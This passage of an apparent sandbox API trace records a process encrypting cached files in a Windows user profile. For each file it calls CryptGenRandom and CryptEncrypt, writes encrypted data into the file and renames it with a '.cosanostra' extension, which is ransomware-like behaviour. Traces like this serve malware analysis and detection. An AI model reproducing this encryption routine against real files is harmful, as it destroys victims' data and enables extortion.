(hObject=0x15c) returned 1 [0102.214] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778.cosanostra") returned 163 [0102.214] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_74e943f7dab6d19e37e4854057155778"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_74e943f7dab6d19e37e4854057155778.cosanostra")) returned 1 [0102.215] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee78 | out: pbBuffer=0x2abee78) returned 1 [0102.215] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee70*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee70*=0x30) returned 1 [0102.215] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_5ea65844b9ef5670a9c002cbd85b10a4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.263] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned 152 [0102.263] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpSrch=".txt") returned 0x0 [0102.264] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.264] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2abee34, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee34*=0x182, lpOverlapped=0x0) returned 1 [0102.264] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.264] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee34, lpOverlapped=0x0 | out: lpBuffer=0x2abee74*, lpNumberOfBytesWritten=0x2abee34*=0x4, lpOverlapped=0x0) returned 1 [0102.264] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee34, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee34*=0x30, lpOverlapped=0x0) returned 1 [0102.265] CloseHandle (hObject=0x15c) returned 1 [0102.265] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4.cosanostra") returned 163 [0102.265] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_5ea65844b9ef5670a9c002cbd85b10a4"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_5ea65844b9ef5670a9c002cbd85b10a4.cosanostra")) returned 1 [0102.266] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee70 | out: pbBuffer=0x2abee70) returned 1 [0102.267] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee68*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee68*=0x30) returned 1 [0102.267] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\705a76de71ea2caebb8f0907449ce086_9752c5b2d53ee7a19f7764b52968ec21"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.267] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned 152 [0102.267] StrStrW (lpFirst="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpSrch=".txt") returned 0x0 [0102.268] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe72, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.268] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x18e, lpNumberOfBytesWritten=0x2abee2c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee2c*=0x18e, lpOverlapped=0x0) returned 1 [0102.268] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.268] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee2c, lpOverlapped=0x0 | out: lpBuffer=0x2abee6c*, lpNumberOfBytesWritten=0x2abee2c*=0x4, lpOverlapped=0x0) returned 1 [0102.268] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee2c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee2c*=0x30, lpOverlapped=0x0) returned 1 [0102.268] CloseHandle (hObject=0x15c) returned 1 [0102.268] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21.cosanostra") returned 163 [0102.268] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\705a76de71ea2caebb8f0907449ce086_9752c5b2d53ee7a19f7764b52968ec21"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\705a76de71ea2caebb8f0907449ce086_9752c5b2d53ee7a19f7764b52968ec21.cosanostra")) returned 1 [0102.269] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee70 | out: pbBuffer=0x2abee70) returned 1 [0102.269] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee68*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee68*=0x30) returned 1 [0102.269] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\696f3de637e6de85b458996d49d759ad"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.270] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned 119 [0102.270] StrStrW (lpFirst="696F3DE637E6DE85B458996D49D759AD", lpSrch=".txt") returned 0x0 [0102.270] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffff0c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.270] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2abee2c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee2c*=0xf4, lpOverlapped=0x0) returned 1 [0102.271] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.271] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee2c, lpOverlapped=0x0 | out: lpBuffer=0x2abee6c*, lpNumberOfBytesWritten=0x2abee2c*=0x4, lpOverlapped=0x0) returned 1 [0102.271] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee2c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee2c*=0x30, lpOverlapped=0x0) returned 1 [0102.271] CloseHandle (hObject=0x15c) returned 1 [0102.271] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD.cosanostra") returned 130 [0102.271] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\696f3de637e6de85b458996d49d759ad"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\696f3de637e6de85b458996d49d759ad.cosanostra")) returned 1 [0102.272] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee68 | out: pbBuffer=0x2abee68) returned 1 [0102.272] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee60*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee60*=0x30) returned 1 [0102.272] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\5457a8ce4b2a7499f8299a013b6e1c7c_ce50f893881d43dc0c815e4d80faf2b4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.273] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned 152 [0102.273] StrStrW (lpFirst="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpSrch=".txt") returned 0x0 [0102.274] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe72, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.274] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x18e, lpNumberOfBytesWritten=0x2abee24, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee24*=0x18e, lpOverlapped=0x0) returned 1 [0102.274] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.274] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee24, lpOverlapped=0x0 | out: lpBuffer=0x2abee64*, lpNumberOfBytesWritten=0x2abee24*=0x4, lpOverlapped=0x0) returned 1 [0102.274] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee24, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee24*=0x30, lpOverlapped=0x0) returned 1 [0102.274] CloseHandle (hObject=0x15c) returned 1 [0102.274] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4.cosanostra") returned 163 [0102.274] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\5457a8ce4b2a7499f8299a013b6e1c7c_ce50f893881d43dc0c815e4d80faf2b4"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\5457a8ce4b2a7499f8299a013b6e1c7c_ce50f893881d43dc0c815e4d80faf2b4.cosanostra")) returned 1 [0102.275] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee68 | out: pbBuffer=0x2abee68) returned 1 [0102.275] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee60*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee60*=0x30) returned 1 [0102.275] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\5080dc7a65db6a5960ecd874088f3328_6cba2c06d5985dd95ae59af8fc7c6220"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.276] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned 152 [0102.276] StrStrW (lpFirst="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpSrch=".txt") returned 0x0 [0102.277] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.277] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x2abee24, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee24*=0x190, lpOverlapped=0x0) returned 1 [0102.277] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.278] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee24, lpOverlapped=0x0 | out: lpBuffer=0x2abee64*, lpNumberOfBytesWritten=0x2abee24*=0x4, lpOverlapped=0x0) returned 1 [0102.278] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee24, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee24*=0x30, lpOverlapped=0x0) returned 1 [0102.278] CloseHandle (hObject=0x15c) returned 1 [0102.278] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220.cosanostra") returned 163 [0102.278] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\5080dc7a65db6a5960ecd874088f3328_6cba2c06d5985dd95ae59af8fc7c6220"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\5080dc7a65db6a5960ecd874088f3328_6cba2c06d5985dd95ae59af8fc7c6220.cosanostra")) returned 1 [0102.279] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee60 | out: pbBuffer=0x2abee60) returned 1 [0102.279] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee58*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee58*=0x30) returned 1 [0102.279] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\5080dc7a65db6a5960ecd874088f3328_2908f682dfc81a793bd240cf29711c77"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.280] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned 152 [0102.280] StrStrW (lpFirst="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpSrch=".txt") returned 0x0 [0102.281] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.281] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x194, lpNumberOfBytesWritten=0x2abee1c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee1c*=0x194, lpOverlapped=0x0) returned 1 [0102.281] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.281] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee1c, lpOverlapped=0x0 | out: lpBuffer=0x2abee5c*, lpNumberOfBytesWritten=0x2abee1c*=0x4, lpOverlapped=0x0) returned 1 [0102.281] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee1c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee1c*=0x30, lpOverlapped=0x0) returned 1 [0102.281] CloseHandle (hObject=0x15c) returned 1 [0102.281] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77.cosanostra") returned 163 [0102.281] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\5080dc7a65db6a5960ecd874088f3328_2908f682dfc81a793bd240cf29711c77"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\5080dc7a65db6a5960ecd874088f3328_2908f682dfc81a793bd240cf29711c77.cosanostra")) returned 1 [0102.282] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abee60 | out: pbBuffer=0x2abee60) returned 1 [0102.282] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abee58*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abee58*=0x30) returned 1 [0102.282] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\4dd39726d4b55ac3b4119b35a893323c_46cccfb940a93f39a734f69efcdd76e9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.282] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned 152 [0102.283] StrStrW (lpFirst="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpSrch=".txt") returned 0x0 [0102.283] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.283] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x194, lpNumberOfBytesWritten=0x2abee1c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abee1c*=0x194, lpOverlapped=0x0) returned 1 [0102.283] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.283] WriteFile (in: hFile=0x15c, lpBuffer=0x2abee5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abee1c, lpOverlapped=0x0 | out: lpBuffer=0x2abee5c*, lpNumberOfBytesWritten=0x2abee1c*=0x4, lpOverlapped=0x0) returned 1 [0102.283] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abee1c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abee1c*=0x30, lpOverlapped=0x0) returned 1 [0102.284] CloseHandle (hObject=0x15c) returned 1 [0102.284] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9.cosanostra") returned 163 [0102.284] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" (normalized: "c:\\users\\5p5nrgjn0js 